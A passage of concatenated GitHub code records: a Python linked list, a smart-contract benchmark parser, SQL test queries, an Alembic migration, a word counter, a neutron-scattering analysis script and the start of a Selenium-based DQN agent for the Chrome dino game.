setCricle(self,n):\n if n>self.length or n<0:\n return False\n\n # 规定超过3个结点才能构造环\n if self.length>3:\n p1=self.phead\n for i in range(n):\n p1=p1.next\n\n # 记录闭合结点\n node=p1\n\n while p1.next!=None:\n p1=p1.next\n\n # 构造环\n p1.next=node\n print('尾节点指向值为{}的结点'.format(node.data))\n return True\n\n\n\n\ndef main():\n singleLinkList = SlinkList()\n n=7\n getindex=[-2,5,9]\n insertindex=0\n removeindex=5\n for i in range(n):\n singleLinkList.appendtail(i)\n lst = singleLinkList.display()\n print('\\n头插法插入{}个结点:'.format(n))\n print(lst)\n for i in range(len(getindex)):\n print('\\n获取指定位置{}的节点值:'.format(getindex[i]))\n print(singleLinkList.getData(getindex[i]))\n\n print('\\n在指定位置{}插入新结点(前插)'.format(insertindex))\n singleLinkList.insert(28, insertindex)\n print(singleLinkList.display())\n\n print('\\n删除指定位置{}的结点,并返回结点值'.format(removeindex))\n removerdata=singleLinkList.remove(removeindex)\n print('删除的结点值为:{}'.format(removerdata))\n print(singleLinkList.display())\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"2017040264/buctoj-cfl","sub_path":"Data sturcture/链表/单向链表/slinklist.py","file_name":"slinklist.py","file_ext":"py","file_size_in_byte":4176,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"12122569208","text":"import os\nimport bm.io, bm.unify\n\n\ndef status(s):\n return (True if s == \"True\" else\n False if s == \"False\" else\n None)\n\n\ndef process(dataset, source, destination):\n bids = set()\n path,base = os.path.split(__file__)\n base = os.path.splitext(base)[0]\n local = os.path.join(path, base)\n fn_csv = os.path.join(local,f\"{base}.csv\")\n for row in bm.io.read_csv(fn_csv, delimiter=\";\"):\n bid = os.path.splitext(row[\"filename\"])[0]\n assert bid not in bids\n bids.add(bid)\n\n src = []\n for s in row[\"source\"].split(\",\"):\n src.extend(bm.io.read_lines(os.path.join(source,*s.split(\"/\"))))\n \n sol = []\n for se in row[\"lines\"].split(\",\"):\n s,e = se.split(\":\")\n lines = (\n src[int(s):int(e)] if s and e else\n src[int(s):] if s else\n src[:int(e)] if e else\n src)\n sol.extend(lines)\n sol_is_orig = len(src) == len(sol)\n fn_sol = os.path.join(local,row[\"filename\"])\n bm.io.write_lines(sol,fn_sol)\n\n classification = []\n for c in row[\"classification\"].split(\",\"):\n p,s = c.split(\":\")\n classification.append( (p,status(s)) )\n\n info = [ os.path.join(source, *row[\"info\"].split(\"/\")) ]\n if row[\"exploit\"]:\n info.append(os.path.join(source, *row[\"exploit\"].split(\"/\")))\n\n bm.unify.save(destination, dataset, bid,\n classification,\n sol = fn_sol,\n sol_is_orig = sol_is_orig,\n contractname = row[\"contract\"],\n info = info)\n\n os.remove(fn_sol)\n\n","repo_name":"gsalzer/cgt","sub_path":"construction/scripts/bm/parsers/NotSoSmartC.py","file_name":"NotSoSmartC.py","file_ext":"py","file_size_in_byte":1673,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"37"} +{"seq_id":"6628908635","text":"from QUERY.QUERY import connect, query_table\n\nprint(\"Querying Database to Answer Test Questions\")\nprint(\"For Queries run please see:\\n\\\ncode/database/invest_sql/investigations.sql\")\n\n\ncur = connect()\nbreak_string = \"-----------------\"\nprint(break_string)\nprint(\"Question 1.\")\nq1_sql = \"SELECT COUNT(DISTINCT user_id) as DISTINCT_USER_COUNT\\\n ,COUNT(*) AS ORDER_COUNT\\\n FROM prd_star.FCT_ORDER \\\n WHERE YEAR(start_date) = '2020'\"\n\nq1_results = query_table(cur, q1_sql)\n\nstdout_string = f\"There were {q1_results[0][0]} Users Making {q1_results[0][1]} orders in 2020\"\n\nprint(stdout_string)\nprint(break_string)\n\nprint(\"Question 2.\")\nq2_sql = \"SELECT p.project_id\\\n ,CASE WHEN p.start_date = '0000-00-00' THEN 0 \\\n WHEN p.end_date = '0000-00-00' THEN (CURRENT_DATE() - p.start_date)\\\n ELSE p.end_date - p.start_date\\\n END AS DAY_COUNT\\\n from prd_star.DIM_PROJECT p\\\n ORDER BY DAY_COUNT desc\"\n\nq2_results = query_table(cur, q2_sql)\nlongest_by = q2_results[0][1] - q2_results[1][1]\nstdout_string = f\"Project ID {q2_results[0][0]} has been running {q2_results[0][1]} days which is the longest by {longest_by} days\"\nprint(stdout_string)\nprint(break_string)\n\nprint(\"Question 3.\")\nq3_sql = 'SELECT client_id\\\n ,SUM(GROWTH) / COUNT(QUARTER) AS AVERAGE_GROWTH\\\n FROM\\\n (\\\n SELECT client_id\\\n ,QUARTER\\\n ,ORDER_SUM\\\n ,CASE \\\n WHEN lag(client_id, 1) OVER (ORDER BY client_id, QUARTER) = client_id\\\n THEN 100 * (ORDER_SUM - lag(ORDER_SUM, 1) OVER (ORDER BY client_id, QUARTER)) / lag(ORDER_SUM, 1) OVER (ORDER BY client_id, QUARTER)\\\n ELSE 0\\\n END as GROWTH\\\n FROM\\\n (SELECT client_id\\\n ,CASE \\\n WHEN MONTH(end_date) in (1, 2, 3) THEN \"Q1\"\\\n WHEN MONTH(end_date) in (4,5,6) THEN \"Q2\"\\\n WHEN MONTH(end_date) in (7,8,9) THEN \"Q3\"\\\n ELSE \"Q4\"\\\n END AS QUARTER\\\n ,SUM(ORDER_COUNT) AS ORDER_SUM\\\n FROM prd_star.FCT_ORDER\\\n WHERE YEAR(end_date) = \"2020\"\\\n GROUP BY client_id, QUARTER ) growth\\\n ) avg_growth\\\n GROUP BY client_id\\\n ORDER BY AVERAGE_GROWTH desc'\n\nq3_results = query_table(cur, q3_sql)\n\nprint(f\"Client ID {q3_results[0][0]} Had the largest Quarter on Quarter Growth of {round(q3_results[0][1],2)}% for 2020\")\nprint(f\"However noted that Client ID {q3_results[0][0]} May not have been a customer for all 4 quarters\")\n\nq3a_sql = 'SELECT client_id\\\n ,SUM(GROWTH) / COUNT(QUARTER) AS AVERAGE_GROWTH\\\n FROM\\\n (\\\n SELECT client_id\\\n ,QUARTER\\\n ,ORDER_SUM\\\n ,CASE \\\n WHEN lag(client_id, 1) OVER (ORDER BY client_id, QUARTER) = client_id\\\n THEN 100 * (ORDER_SUM - lag(ORDER_SUM, 1) OVER (ORDER BY client_id, QUARTER)) / lag(ORDER_SUM, 1) OVER (ORDER BY client_id, QUARTER)\\\n ELSE 0\\\n END as GROWTH\\\n FROM\\\n (SELECT client_id\\\n ,CASE \\\n WHEN MONTH(end_date) in (1, 2, 3) THEN \"Q1\"\\\n WHEN MONTH(end_date) in (4,5,6) THEN \"Q2\"\\\n WHEN MONTH(end_date) in (7,8,9) THEN \"Q3\"\\\n ELSE \"Q4\"\\\n END AS QUARTER\\\n ,SUM(ORDER_COUNT) AS ORDER_SUM\\\n FROM prd_star.FCT_ORDER\\\n WHERE YEAR(end_date) = \"2020\"\\\n GROUP BY client_id, QUARTER ) growth\\\n ) avg_growth\\\n GROUP BY client_id\\\n HAVING COUNT(QUARTER) = 4\\\n ORDER BY AVERAGE_GROWTH desc'\n\nprint(f\"Applying filter for requirement of 4 quarters Client ID \")\n\nq3a_results = query_table(cur, q3a_sql)\n\nprint(f\"Assuming 4 Quarters required Client ID {q3a_results[0][0]} Had the largest Quarter on Quarter Growth of {round(q3a_results[0][1],2)}% for 2020\")\nprint(break_string)","repo_name":"armistace/Assignar-Tech-Test","sub_path":"code/python/QA.py","file_name":"QA.py","file_ext":"py","file_size_in_byte":4319,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"27883077621","text":"\"\"\"Create certified_error_metadata table\n\nRevision ID: 87d7a9b0ea7b\nRevises: 51b1bbc0bfde\nCreate Date: 2019-08-01 15:29:11.406208\n\n\"\"\"\n\n# revision identifiers, used by Alembic.\nrevision = '87d7a9b0ea7b'\ndown_revision = '51b1bbc0bfde'\nbranch_labels = None\ndepends_on = None\n\nfrom alembic import op\nimport sqlalchemy as sa\nfrom sqlalchemy.dialects import postgresql\n\ndef upgrade(engine_name):\n globals()[\"upgrade_%s\" % engine_name]()\n\n\ndef downgrade(engine_name):\n globals()[\"downgrade_%s\" % engine_name]()\n\n\n\n\n\ndef upgrade_data_broker():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('certified_error_metadata',\n sa.Column('created_at', sa.DateTime(), nullable=True),\n sa.Column('updated_at', sa.DateTime(), nullable=True),\n sa.Column('certified_error_metadata_id', sa.Integer(), nullable=False),\n sa.Column('job_id', sa.Integer(), nullable=True),\n sa.Column('filename', sa.Text(), nullable=True),\n sa.Column('field_name', sa.Text(), nullable=True),\n sa.Column('error_type_id', sa.Integer(), nullable=True),\n sa.Column('occurrences', sa.Integer(), nullable=True),\n sa.Column('first_row', sa.Integer(), nullable=True),\n sa.Column('rule_failed', sa.Text(), nullable=True),\n sa.Column('file_type_id', sa.Integer(), nullable=True),\n sa.Column('target_file_type_id', sa.Integer(), nullable=True),\n sa.Column('original_rule_label', sa.Text(), nullable=True),\n sa.Column('severity_id', sa.Integer(), nullable=True),\n sa.ForeignKeyConstraint(['error_type_id'], ['error_type.error_type_id'], ),\n sa.ForeignKeyConstraint(['file_type_id'], ['file_type.file_type_id'], name='fk_file_type_file_status_id'),\n sa.ForeignKeyConstraint(['job_id'], ['job.job_id'], name='fk_error_metadata_job', ondelete='CASCADE'),\n sa.ForeignKeyConstraint(['severity_id'], ['rule_severity.rule_severity_id'], name='fk_error_severity_id'),\n sa.ForeignKeyConstraint(['target_file_type_id'], ['file_type.file_type_id'], name='fk_target_file_type_file_status_id'),\n sa.PrimaryKeyConstraint('certified_error_metadata_id')\n )\n # ### end Alembic commands ###\n\n\ndef downgrade_data_broker():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_table('certified_error_metadata')\n # ### end Alembic commands ###\n\n","repo_name":"fedspendingtransparency/data-act-broker-backend","sub_path":"dataactcore/migrations/versions/87d7a9b0ea7b_create_certified_error_metadata_table.py","file_name":"87d7a9b0ea7b_create_certified_error_metadata_table.py","file_ext":"py","file_size_in_byte":2309,"program_lang":"python","lang":"en","doc_type":"code","stars":45,"dataset":"github-code","pt":"37"} +{"seq_id":"25899643680","text":"import string\n\n#file = input(\"Enter a file name: \")\nfile = input('Enter a flie name: ' )\nhand = open(file) #not a method, but function\n\ncounts = dict()\n\n#make a list of single words\nfor line in hand:\n #str.maketrans; If three arguments are passed, each character in the third argument is mapped to None.\n #every digits and punctuation should be None\n line = line.translate(str.maketrans('','',string.digits))\n line = line.translate(str.maketrans('','',string.punctuation))\n #every uppercase should be lowercase\n line = line.lower()\n words = line.split()\n\n#word counter in form of dictionary\nfor word in words:\n counts[word] = counts.get(word, 0) + 1\n\n#flip\ntemp = list()\nfor k, v in list(counts.items()):\n temp.append((v, k))\n\n#sort in decreasing order\ntemp.sort(reverse=True)\n\n#flip back and print\nfor k, v in temp:\n print(v)\n","repo_name":"samtaitai/py4e","sub_path":"exercise1003.py","file_name":"exercise1003.py","file_ext":"py","file_size_in_byte":857,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"42814735001","text":"import matplotlib.pyplot as plt\nimport numpy as np\nimport re\nimport os\nimport neutron_context as nctx\nfrom global_context import comment_symbol\nfrom mushroom_context import MushroomContext\nimport global_context as glb\nimport geometry_calculation as geo\n\nplt.rcParams.update({'font.size': 18})\n\n# Calculates the dispersion relation along one hkl-line. It consists a Python calculation based on the magnon theory\n# as well as a McStas simulation\n\n# FOLDER = \"McStas/Line_ki1.6\"\nFOLDER = \"McStas/LineNew_ki1.6\"\n\nPSD_PREFIX = \"psd\"\nLD_PREFIX = \"l\"\nDATA_EXTENSION = \"dat\"\nFORM_FLAT = \"flat\"\nPSD_XVAR = \"X\"\nPSD_YVAR = \"Y\"\nCOMP_FLAT = \"_\".join([PSD_PREFIX, FORM_FLAT])\n\nDELIMITER = \":\"\nKEY_INSTR_PARAM = \"Param\" # the string at the begging of the information of instrument parameters\nKEY_SIZE = \"type\"\nKEY_XVAR = \"xvar\"\nKEY_YVAR = \"yvar\"\nKEY_XLABEL = \"xlabel\"\nKEY_YLABEL = \"ylabel\"\nKEY_XYLIMITS = \"xylimits\"\nKEY_POSITION = \"position\"\nKEY_COMPONENT = \"component\"\nKEY_XUNIT = \"xunit\"\nKEY_YUNIT = \"Yunit\"\nKEY_YPOS = \"pos_y\"\nKEY_ZPOS = \"pos_z\"\nKEY_ERRORS = \"Errors\"\nREVEVANT_KEYS = [KEY_INSTR_PARAM, KEY_SIZE, KEY_XVAR, KEY_YVAR, KEY_XLABEL, KEY_YLABEL, KEY_XYLIMITS, KEY_POSITION,\n KEY_COMPONENT]\n\nUNIT_CENTIMETRE = \"cm\"\nUNIT_METRE = \"m\"\nUNIT_DEG = \"deg\"\n\nWAVENUMBER_INCOMING = \"ki\"\nPATTERN_SIZE = re.compile(r\"([0-9]*),\\s?([0-9]*)\")\nPATTERN_XYLIMITS = re.compile(\n r\"\\s*([-+]?[0-9]*\\.?[0-9]*)\\s([-+]?[0-9]*\\.?[0-9]*)\\s([-+]?[0-9]*\\.?[0-9]*)\\s([-+]?[0-9]*\\.?[0-9]*)\")\nPATTERN_POSITION = re.compile(r\"\\s*([-+]?[0-9]*\\.?[0-9]*)\\s([-+]?[0-9]*\\.?[0-9]*)\\s([-+]?[0-9]*\\.?[0-9]*)\")\nPATTERN_PARAM = re.compile(r\"\\s*(\\S*_?\\S*)=([-+]?[0-9]*\\.?[0-9]*)\")\nPATTERN_LABEL = re.compile(r\"\\s*(\\S*\\s*\\S*)\\s*\\[(\\S*)]\")\nPATTERN_SCANFOLDER = re.compile(r\"sa([-+]?[0-9]*)\\_an([-+]?[0-9]*)\")\n\n\nclass PsdInformation:\n def __init__(self, scan_folder):\n \"\"\"\n initialise the object with the PSD information\n :param ki: incoming wavenumber\n :param sa_ang: current sample rotation\n :param an_deg: the scan angle that defines the folder storing the simulated data\n :param psd_form: denotes which PSD is to be handled\n \"\"\"\n mush_ctx = MushroomContext()\n filepath = detector_filepath(detector_type=PSD_PREFIX, detector_form=FORM_FLAT, folder=scan_folder)\n f = open(file=filepath).readlines()\n keys = []\n contents = []\n error_line = 0\n for line in f:\n if line.startswith(comment_symbol):\n if KEY_ERRORS in line:\n error_line = f.index(line)\n line = line[2:]\n key, content = line.split(DELIMITER, maxsplit=1)\n key = key.strip()\n content = content.strip()\n if key == KEY_INSTR_PARAM:\n key, content = re.search(pattern=PATTERN_PARAM, string=content).groups()\n elif key == KEY_XLABEL:\n label, unit = re.search(pattern=PATTERN_LABEL, string=content).groups()\n key = [KEY_XLABEL, KEY_XUNIT]\n content = [label, unit]\n elif key == KEY_YLABEL:\n label, unit = re.search(pattern=PATTERN_LABEL, string=content).groups()\n key = [KEY_YLABEL, KEY_YUNIT]\n content = [label, unit]\n if type(key) == list:\n keys.extend(key)\n contents.extend(content)\n else:\n keys.append(key)\n contents.append(content)\n\n self.metadata_dict = dict(zip(keys, contents))\n self.xsize, self.ysize = list(\n map(int, re.search(pattern=PATTERN_SIZE, string=self.metadata_dict[KEY_SIZE]).groups()))\n x_1d, y_1d = self._xy_axes()\n # print(x_1d)\n intensities = np.loadtxt(fname=filepath, comments=comment_symbol, max_rows=self.ysize)\n if error_line > 0:\n inten_errors = np.loadtxt(fname=filepath, skiprows=error_line + 1, max_rows=self.ysize)\n else:\n raise RuntimeError(\"Failed to load intensity errors.\")\n self.x_1d, self.y_1d, self.intensities, self.inten_errors = self._psd_signal_adjust(x_1d, y_1d, intensities,\n inten_errors,\n geo_ctx=mush_ctx)\n\n def _xy_axes(self):\n xmin, xmax, ymin, ymax = list(\n map(float, re.search(pattern=PATTERN_XYLIMITS, string=self.metadata_dict[KEY_XYLIMITS]).groups()))\n xaxis = np.linspace(start=xmin, stop=xmax, num=self.xsize)\n yaxis = np.linspace(start=ymin, stop=ymax, num=self.ysize)\n if self.metadata_dict[KEY_XUNIT] == UNIT_CENTIMETRE:\n xaxis *= 1e-2\n elif self.metadata_dict[KEY_XUNIT] == UNIT_METRE or self.metadata_dict[KEY_XUNIT] == UNIT_DEG:\n pass\n else:\n raise RuntimeError(\"Does not recognise the unit {}\".format(self.metadata_dict[KEY_XUNIT]))\n if self.metadata_dict[KEY_YUNIT] == UNIT_CENTIMETRE:\n yaxis *= 1e-2\n elif self.metadata_dict[KEY_YUNIT] == UNIT_METRE or self.metadata_dict[KEY_YUNIT] == UNIT_DEG:\n pass\n else:\n raise RuntimeError(\"Does not recognise the unit {}\".format(self.metadata_dict[KEY_YUNIT]))\n return xaxis, yaxis\n\n def _psd_signal_adjust(self, x, y, intensity, inten_errors, geo_ctx: MushroomContext):\n component = self.metadata_dict[KEY_COMPONENT]\n if component == COMP_FLAT:\n x, y = np.meshgrid(x, y)\n else:\n raise RuntimeError(\"Cannot match the x variable {}.\".format(self.metadata_dict[KEY_XVAR]))\n x, y = x.flatten(), y.flatten()\n intensity = intensity.flatten()\n inten_errors = inten_errors.flatten()\n ind_nonzero = np.nonzero(intensity)\n return x[ind_nonzero], y[ind_nonzero], intensity[ind_nonzero], inten_errors[ind_nonzero]\n\n\ndef detector_filepath(detector_type, detector_form, folder):\n filename = \".\".join([\"_\".join([detector_type, detector_form]), DATA_EXTENSION])\n filepath = \"/\".join([folder, filename])\n return filepath\n\n\ndef intensity_adjsut(scan_folder, psd_inten, inten_error, kf):\n l_file = detector_filepath(detector_type=LD_PREFIX, detector_form=FORM_FLAT, folder=scan_folder)\n l_data = np.loadtxt(l_file).transpose()\n wavelengths = l_data[0, :]\n intensities = l_data[1, :]\n lf = nctx.wavenumber2wavelength(kf)\n inten_before = np.sum(intensities)\n l_inten_edit = np.where(abs(wavelengths - lf * 1e10) < 1, intensities, 0)\n l_inten_after = np.sum(l_inten_edit)\n psd_inten_after = psd_inten * l_inten_after / inten_before\n # print(inten_error.shape, psd_inten_after.shape, intensities.shape)\n error_after = inten_error * psd_inten_after / psd_inten\n # print(l_inten_after, inten_before, l_inten_after / inten_before)\n return psd_inten_after, error_after\n\n\ndef psd2scattering(psd_x, psd_y, ki, kf, sa_ang):\n def one_point(x, y, ki, kf, sa_ang):\n azi = np.arctan2(y, x)\n r = np.linalg.norm([x, y])\n index = np.argmin(abs(r - mush_ctx.dete_points[0, :]))\n pol_ang = mush_ctx.pol_angles[index]\n qx = ki - kf * np.cos(pol_ang) * np.cos(azi)\n qy = -kf * np.cos(pol_ang) * np.sin(azi)\n qz = -kf * np.sin(pol_ang)\n qx, qy = geo.rotation_around_z(rot_angle=-sa_ang, old_x=qx, old_y=qy)\n return qx, qy, qz\n\n if psd_x.shape[0] == 1:\n return one_point(psd_x, psd_y, ki, kf, sa_ang)\n else:\n qx_c = np.zeros(0)\n qy_c = np.zeros(0)\n qz_c = np.zeros(0)\n for i in range(psd_x.shape[0]):\n qx, qy, qz = one_point(psd_x[i], psd_y[i], ki, kf, sa_ang)\n qx_c = np.append(qx_c, qx)\n qy_c = np.append(qy_c, qy)\n qz_c = np.append(qz_c, qz)\n return qx_c, qy_c, qz_c\n\n\ndef an2scattering(an_x, an_y, ki, kf, sa_rot, an_azi):\n pol_ang = np.arctan2(an_y, an_x)\n qx = ki - kf * np.cos(pol_ang) * np.cos(an_azi)\n qy = -kf * np.cos(pol_ang) * np.sin(an_azi)\n qz = -kf * np.sin(pol_ang)\n qx, qy = geo.rotation_around_z(rot_angle=-sa_rot, old_x=qx, old_y=qy)\n return qx, qy, qz\n\n\nmush_ctx = MushroomContext()\nki = 1.6e10\nkf = 1.1e10\naa = 4.5e-10\nk, l = -1.0, -0.12\nhw = nctx.wavenumber2energy(ki) - nctx.wavenumber2energy(kf)\n\nsimu_file = \"McStas/ki1.6_k-1.00_l-0.12.dat\"\nsimu_data = np.loadtxt(simu_file, delimiter=\",\").transpose()\nsimu_inten, simu_h = simu_data[6, :], simu_data[8, :]\nsimu_inten = simu_inten / np.max(simu_inten)\nsimu_inten = np.where(simu_inten > 1e-6, simu_inten, 1e-6)\nsort_indices = np.argsort(simu_h)\nsimu_h = simu_h[sort_indices]\nsimu_inten = simu_inten[sort_indices]\n\nqx_collect = np.zeros(0)\nqy_collect = np.zeros(0)\ninten_collect = np.zeros(0)\nerror_collect = np.zeros(0)\n\nfor subfolder in os.listdir(FOLDER):\n path = \"/\".join([FOLDER, subfolder])\n psd_info = PsdInformation(path)\n if psd_info.intensities.shape[0] == 0:\n sa_deg, an_deg = re.match(PATTERN_SCANFOLDER, subfolder).groups()\n sa_deg, an_deg = float(sa_deg), float(an_deg)\n sa_rad = np.deg2rad(sa_deg)\n an_rad = np.deg2rad(an_deg)\n an_x, an_y = psd_info.metadata_dict[KEY_ZPOS], psd_info.metadata_dict[KEY_YPOS]\n an_x, an_y = float(an_x), float(an_y)\n qx, qy, qz = an2scattering(an_x, an_y, ki, kf, sa_rad, an_rad)\n inten = 0\n inten_error = 0\n else:\n sa_deg, an_deg = re.match(PATTERN_SCANFOLDER, subfolder).groups()\n sa_deg = float(sa_deg)\n sa_rad = np.deg2rad(sa_deg)\n qx, qy, qz = psd2scattering(psd_info.x_1d, psd_info.y_1d, ki, kf, sa_rad)\n inten, inten_error = intensity_adjsut(scan_folder=path, psd_inten=psd_info.intensities,\n inten_error=psd_info.inten_errors, kf=kf)\n qx = nctx.q2rlu(q_value=qx, l_const=aa)\n qy = nctx.q2rlu(q_value=qy, l_const=aa)\n qz = nctx.q2rlu(q_value=qz, l_const=aa)\n if isinstance(inten, int):\n print(subfolder, qx, qy, qz, inten)\n qx_collect = np.append(qx_collect, qx)\n qy_collect = np.append(qy_collect, qy)\n inten_collect = np.append(inten_collect, inten)\n error_collect = np.append(error_collect, inten_error)\n elif isinstance(inten, np.ndarray) and inten.shape[0] == 1:\n qx = qx[0]\n qy = qy[0]\n inten = inten[0]\n inten_error = inten_error[0]\n print(subfolder, qx, qy, qz, inten)\n qx_collect = np.append(qx_collect, qx)\n qy_collect = np.append(qy_collect, qy)\n inten_collect = np.append(inten_collect, inten)\n error_collect = np.append(error_collect, inten_error)\n else:\n # print(subfolder, qx.shape, qy.shape, qz.shape, inten.shape)\n # print(subfolder, qx.shape[0])\n # # if q_vector.shape[1] != inten.shape[0]:\n # # raise RuntimeError(\"THe size of the position array is not consistent with the intensity\")\n # for i in range(inten.shape[0]):\n # print(subfolder, qx[i], qy[i], qz[i], inten[i])\n # qx_collect = np.append(qx_collect, qx[i])\n # qy_collect = np.append(qy_collect, qy[i])\n # inten_collect = np.append(inten_collect, inten[i])\n # error_collect = np.append(error_collect, inten_error[i])\n print(subfolder, np.mean(qx), np.mean(qy), np.mean(qz), np.sum(inten))\n qx_collect = np.append(qx_collect, np.mean(qx))\n qy_collect = np.append(qy_collect, np.mean(qy))\n inten_collect = np.append(inten_collect, np.sum(inten))\n error_collect = np.append(error_collect, np.sum(inten_error))\n\ninten_collect = inten_collect / np.max(inten_collect)\ninten_collect = np.where(inten_collect > 1e-6, inten_collect, 1e-6)\nind_collect = np.argsort(qx_collect)\nfig, ax = plt.subplots()\nax.errorbar(qx_collect[ind_collect], inten_collect[ind_collect], yerr=error_collect[ind_collect], fmt='o-',\n label=\"McStas\")\nax.plot(simu_h, simu_inten, \"o-\", label=\"Python\")\n\nax.legend()\nax.set_xlabel(\"(h, {:.2f}, {:.2f}) (rlu)\".format(k, l))\nax.set_ylabel(\"Intensity normalised to 1\")\nax.set_title(r\"$\\hbar\\omega$ = {:.2f} meV\".format(nctx.joule2mev(hw)))\nax.tick_params(axis=\"both\", direction=\"in\")\nax.set_yscale(\"log\")\nfig.savefig(\"{}LineNew_ki{:.1f}_h_k{:.2f}_l{:.2f}.png\".format(glb.path_mcstas, ki * 1e-10, k, l),\n bbox_inches='tight')\nplt.close(fig)\n","repo_name":"rtang-sidney/Mushroom","sub_path":"mcstas_line.py","file_name":"mcstas_line.py","file_ext":"py","file_size_in_byte":12482,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"44786338054","text":"import torch\nimport torch.nn as nn\nimport torch.optim as optim\n\nimport numpy as np\nfrom PIL import Image\nimport cv2 #opencv\nimport sys \nimport io\nimport time\nimport pandas as pd\nimport numpy as np\nfrom IPython.display import clear_output\nfrom random import randint\nimport os\n\nfrom selenium import webdriver\nfrom selenium.webdriver.chrome.options import Options\nfrom selenium.webdriver.common.keys import Keys\n\n\nimport random\nimport pickle\nfrom io import BytesIO\nimport base64\nimport json\n\n\n########################################################\n#path variables\ngame_url = \"chrome://dino\"\nchrome_driver_path = \"/usr/local/bin/chromedriver\"\n\n#scripts\n#create id for canvas for faster selection from DOM\ninit_script = \"document.getElementsByClassName('runner-canvas')[0].id = 'runner-canvas'\"\n\n#get image from canvas\ngetbase64Script = \"canvasRunner = document.getElementById('runner-canvas'); \\\nreturn canvasRunner.toDataURL().substring(22)\"\n\n\n\n#######GAME STATE######\n'''\n* Game class: Selenium interfacing between the python and browser\n* __init__(): Launch the broswer window using the attributes in chrome_options\n* get_crashed() : return true if the agent as crashed on an obstacles. Gets javascript variable from game \n decribing the state\n* get_playing(): true if game in progress, false is crashed or paused\n* restart() : sends a signal to browser-javascript to restart the game\n* press_up(): sends a single to press up get to the browser\n* get_score(): gets current game score from javascript variables.\n* pause(): pause the game\n* resume(): resume a paused game if not crashed\n* end(): close the browser and end the game\n'''\nclass Game:\n def __init__(self,custom_config=True):\n chrome_options = Options()\n chrome_options.add_argument(\"disable-infobars\")\n chrome_options.add_argument(\"--mute-audio\")\n self._driver = webdriver.Chrome(executable_path = chrome_driver_path,chrome_options=chrome_options)\n self._driver.set_window_position(x=-10,y=0)\n self._driver.get('chrome://dino')\n self._driver.execute_script(\"Runner.config.ACCELERATION=0\")\n self._driver.execute_script(init_script)\n def get_crashed(self):\n return self._driver.execute_script(\"return Runner.instance_.crashed\")\n def get_playing(self):\n return self._driver.execute_script(\"return Runner.instance_.playing\")\n def restart(self):\n self._driver.execute_script(\"Runner.instance_.restart()\")\n def press_up(self):\n self._driver.find_element_by_tag_name(\"body\").send_keys(Keys.ARROW_UP)\n def get_score(self):\n score_array = self._driver.execute_script(\"return Runner.instance_.distanceMeter.digits\")\n score = ''.join(score_array) # the javascript object is of type array with score in the formate[1,0,0] which is 100.\n return int(score)\n def pause(self):\n return self._driver.execute_script(\"return Runner.instance_.stop()\")\n def resume(self):\n return self._driver.execute_script(\"return Runner.instance_.play()\")\n def end(self):\n self._driver.close()\n\n\n\nclass DinoAgent:\n def __init__(self,game): #takes game as input for taking actions\n self._game = game; \n self.jump(); #to start the game, we need to jump once\n def is_running(self):\n return self._game.get_playing()\n def is_crashed(self):\n return self._game.get_crashed()\n def jump(self):\n self._game.press_up()\n def duck(self):\n self._game.press_down()\n\n\n\n\n\nclass Game_state:\n def __init__(self,agent,game):\n self._agent = agent\n self._game = game\n self._display = show_img() #display the processed image on screen using openCV, implemented using python coroutine \n self._display.next() # initiliaze the display coroutine \n def get_state(self,actions):\n #actions_df.loc[len(actions_df)] = actions[1] # storing actions in a dataframe\n score = self._game.get_score() \n reward = 0.1\n is_over = False #game over\n if actions[1] == 1:\n self._agent.jump()\n\n image = grab_screen(self._game._driver) \n self._display.send(image) #display the image on screen\n if self._agent.is_crashed():\n #scores_df.loc[len(loss_df)] = score # log the score when game is over\n self._game.restart()\n reward = -1\n is_over = True\n image = image_to_tensor(image)\n \n return image, reward, is_over #return the Experience tuple\n\n\n\n######### HANDLER_FUNCTIONS ###########\n\ndef grab_screen(_driver):\n image_b64 = _driver.execute_script(getbase64Script)\n screen = np.array(Image.open(BytesIO(base64.b64decode(image_b64))))\n image = process_img(screen)#processing image as required\n\n return image\n\n\n\n\ndef process_img(image):\n \n image = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY) #RGB to Grey Scale\n image = image[:300, :500] #Crop Region of Interest(ROI)\n image = cv2.resize(image, (84,84))\n image[image> 0] = 255\n image = np.reshape(image, (84,84,1))\n\n #image = image_to_tensor(image) coomented out due to cv2.error: OpenCV(3.4.1)/io/opencv/modules/imgcodecs/src/utils.cpp:622: error: (-15) Source image must have 1, 3 or 4 channels in function cvConvertImage now adding this call just before returning in get state \n return image\n\ndef image_to_tensor(image):\n\n image = np.transpose(image, (2, 0, 1)) #84*84*1 to 1*84*84 apply this code\n\n \n \n \n image_tensor = image.astype(np.float32)\n \n\n image_tensor = torch.from_numpy(image_tensor)\n \n \n \n if torch.cuda.is_available(): # put on GPU if CUDA is available\n image_tensor = image_tensor.cuda()\n \n \n \n return image_tensor\n\n\n\n\ndef show_img(graphs = False):\n \"\"\"\n Show images in new window\n \"\"\"\n while True:\n screen = (yield)\n window_title = \"T_REX NIBBA\" #\"logs\" if graphs else \n cv2.namedWindow(window_title, cv2.WINDOW_NORMAL)\n #screen=screen.cpu().numpy() #as now not sending tensor here calling befire converting to tensor as changes made in getsatate fun \n imS = cv2.resize(screen, (800, 400)) \n cv2.imshow(window_title, screen)\n if (cv2.waitKey(1) & 0xFF == ord('q')):\n cv2.destroyAllWindows()\n break\n\n\n\n########## HANDLER_FUNCTION ###########\n\n\n\n\n########################################################\n\n\nclass NeuralNetwork(nn.Module):\n\n def __init__(self):\n super(NeuralNetwork, self).__init__()\n\n self.number_of_actions = 2\n self.gamma = 0.99\n self.final_epsilon = 0.0001\n self.initial_epsilon = 0.1\n self.number_of_iterations = 5000000\n self.replay_memory_size = 10000\n self.minibatch_size = 32\n\n self.conv1 = nn.Conv2d(4, 32, 8, 4)\n self.relu1 = nn.ReLU(inplace=True)\n self.conv2 = nn.Conv2d(32, 64, 4, 2)\n self.relu2 = nn.ReLU(inplace=True)\n self.conv3 = nn.Conv2d(64, 64, 3, 1)\n self.relu3 = 